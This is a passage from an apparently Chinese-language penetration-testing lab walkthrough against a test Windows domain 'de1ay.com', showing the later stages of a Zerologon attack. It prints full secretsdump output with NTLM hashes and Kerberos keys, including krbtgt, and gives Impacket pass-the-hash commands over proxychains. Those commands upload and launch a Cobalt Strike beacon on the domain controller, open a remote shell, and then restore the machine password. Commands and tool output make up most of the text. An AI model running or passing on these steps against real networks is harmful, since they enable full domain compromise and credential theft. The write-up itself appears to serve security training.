PC$:aes128-cts-hmac-sha1-96:01d2c06b39640b3af68e4113b7878f4e

PC$:des-cbc-md5:d319ba2619eadc52

WEB$:aes256-cts-hmac-sha1-96:bb7961f3f17249bb9e0d6dbb056b22105789cb846e6b6acc35c22759b2cbaa35

WEB$:aes128-cts-hmac-sha1-96:9e1033ee38e16d55ec795699c12300b1

WEB$:des-cbc-md5:13c1ecb6dc4513dc

SERVER$:aes256-cts-hmac-sha1-96:784f054cdbc73a2f2151fbfe38f3f44d3880b4f63fc1894e7732d3a0f399e33f

SERVER$:aes128-cts-hmac-sha1-96:de8442ae3368c3bcb673bd007517403b

SERVER$:des-cbc-md5:e63d915eae312008

[*] Cleaning up...

                   

如下所示,成功获取到aministratorntlm值。
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dc044e0908498f7c475ae50bd70da92c:::

(4)将win-dc的baecon投放到DC主机中

将win-dc.exe所在的目录中执行如下命令将win-dc的baecon投放到DC主机中。命令通过 proxychains -q 在代理环境下,使用Impacket的 wmiexec.py 脚本,并利用获取到的NTLM哈希(AAD3B...A92C)以Pass-The-Hash方式认证为域管理员 administrator,登录到域控制器 10.10.10.10 后,将本地文件 win-dc.exe 上传至目标的 C:\ 根目录,为后续的横向移动或持久化控制做准备。

proxychains  -q wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:dc044e0908498f7c475ae50bd70da92c  administrator@10.10.10.10 lput win-dc.exe c:\\

──(root㉿kali)-[/home/kali/Desktop/ok/zerologon-master]

└─# proxychains  -q wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:dc044e0908498f7c475ae50bd70da92c  administrator@10.10.10.10 lput win-dc.exe c:\\

Impacket v0.13.0.dev0+20250717.50134.1f00d556 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used

[*] Uploading win-dc.exe to c:\win-dc.exe

(5)PTH获取域控控制权限

命令通过 proxychains -q 在代理环境下,使用Impacket工具包中的 wmiexec.py 脚本,并利用提供的NTLM哈希(AAD3B...A92C)以Pass-The-Hash方式,无需明文密码即可认证为用户 administrator,从而在目标域控制器 10.10.10.10 上获取一个交互式的命令执行shell,实现远程控制。

proxychains -q wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:dc044e0908498f7c475ae50bd70da92c administrator@10.10.10.10

┌──(root㉿kali)-[/home/kali/Desktop/ok/zerologon-master]

└─# proxychains -q wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:dc044e0908498f7c475ae50bd70da92c administrator@10.10.10.10

Impacket v0.13.0.dev0+20250717.50134.1f00d556 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used

[!] Launching semi-interactive shell - Careful what you execute

[!] Press help for extra shell commands

C:\>

如下所示,成功getshell,执行dir发现win-dc已经传到dc域控主机中,执行whoami发现已经获取域控的权限。

3、CS上线baecon(administartor)

(1)执行win-dc.exe

接下来执行win-dc.exe,如下所示执行whoami返回adminstrator账户。

(2)CS上线域控win-dc.exe

(3)CS执行命令

在CS执行whoami和ipconfig命令,IP地址为10.10.10.10,说明上线的正是域控,具体如下所示。

4、恢复域控密码

(1)恢复密码

proxychains -q python  reinstall_original_pw.py DC 10.10.10.10  aad3b435b51404eeaad3b435b51404ee:dc044e0908498f7c475ae50bd70da92c

┌──(root㉿kali)-[/home/kali/Desktop/ok/zerologon-master]

└─# proxychains -q python  reinstall_original_pw.py DC 10.10.10.10  aad3b435b51404eeaad3b435b51404ee:dc044e0908498f7c475ae50bd70da92c

Performing authentication attempts...

============================================

NetrServerAuthenticate3Response

ServerCredential:              

    Data:                            b'\\\x90\xa6\x1a\xc5\xf7<1'

NegotiateFlags:                  556793855

AccountRid:                      1002

ErrorCode:                       0

server challenge b'\\Y?\xe1\xeaF.\xdd'

session key b'\xeb\xb6\xfbR\xf3Gl/B\t\xe5yg\xdf/\xfd'

Odd-length string

Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.

(2)验证是否恢复密码

proxychains -q secretsdump.py  -no-pass de1ay/DC\$@10.10.10.10

┌──(root㉿kali)-[/home/kali/Desktop/ok/zerologon-master]

└─# proxychains -q secretsdump.py  -no-pass de1ay/DC\$@10.10.10.10

Impacket v0.13.0.dev0+20250717.50134.1f00d556 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:dc044e0908498f7c475ae50bd70da92c:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::

de1ay:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::

de1ay.com\mssql:2103:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::

de1ay.com\de2ay:4603:aad3b435b51404eeaad3b435b51404ee:20ac739fa9e91f8f8162197a319f3a2a:::

DC$:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

PC$:1105:aad3b435b51404eeaad3b435b51404ee:87b71eb6ab1859756e7d59ba97dd900b:::

WEB$:1603:aad3b435b51404eeaad3b435b51404ee:7b935b2945a2f1f4582e38790e5c1f93:::

SERVER$:3603:aad3b435b51404eeaad3b435b51404ee:0bf031b95106885709424f9517b424b1:::

[*] Kerberos keys grabbed

Administrator:aes256-cts-hmac-sha1-96:615c973aed5a4c42dff372448da71c1dd36f1aeab89be895a5175a1e4aa88932

Administrator:aes128-cts-hmac-sha1-96:f40754264543a0fefd77615f0e382638

Administrator:des-cbc-md5:a83873d623a18391

krbtgt:aes256-cts-hmac-sha1-96:42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118

krbtgt:aes128-cts-hmac-sha1-96:5eb13d2a0e1f4980c3e3810d5da3da4f

krbtgt:des-cbc-md5:79c8dc79fe467552

de1ay:aes256-cts-hmac-sha1-96:22df3e763a8d931afea3c8ca499d7d9b7474248b2bf69deac58418f5c6ac899d

de1ay:aes128-cts-hmac-sha1-96:d0f0c418eb1a4c4a13227ed06b56a8fc

de1ay:des-cbc-md5:5b375d8a1016d613

de1ay.com\mssql:aes256-cts-hmac-sha1-96:6dd445adefa385cc6484e2a8c8952be5da579a3664395d3d729c7e577a8b8009

de1ay.com\mssql:aes128-cts-hmac-sha1-96:047129868012d63377c7f3ee61a16999

de1ay.com\mssql:des-cbc-md5:94bf7f5476298957

de1ay.com\de2ay:aes256-cts-hmac-sha1-96:7268ec8bcacd16fc3d3b91087121657aff416a7d2a206f87ede14be60bc9739f

de1ay.com\de2ay:aes128-cts-hmac-sha1-96:6fd8457d7fd0dcfaa29053e5339f8e75

de1ay.com\de2ay:des-cbc-md5:d09bbf54cdd9157f

DC$:aes256-cts-hmac-sha1-96:29f6a21d200df44d9da2c97116366221413e9df069b0b18280edda219be2bf5e

DC$:aes128-cts-hmac-sha1-96:51d30bc397120a95fa66c429dbf9c010

DC$:des-cbc-md5:04f40d04da3df154

PC$:aes256-cts-hmac-sha1-96:21401b7e81184c9c100befa0d16db18ad69a0fe30c2992c17d87b54c048d9267

PC$:aes128-cts-hmac-sha1-96:01d2c06b39640b3af68e4113b7878f4e

PC$:des-cbc-md5:d319ba2619eadc52

WEB$:aes256-cts-hmac-sha1-96:bb7961f3f17249bb9e0d6dbb056b22105789cb846e6b6acc35c22759b2cbaa35

WEB$:aes128-cts-hmac-sha1-96:9e1033ee38e16d55ec795699c12300b1

WEB$:des-cbc-md5:13c1ecb6dc4513dc

SERVER$:aes256-cts-hmac-sha1-96:784f054cdbc73a2f2151fbfe38f3f44d3880b4f63fc1894e7732d3a0f399e33f

SERVER$:aes128-cts-hmac-sha1-96:de8442ae3368c3bcb673bd007517403b

SERVER$:des-cbc-md5:e63d915eae312008

[*] Cleaning up...

                                                  

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值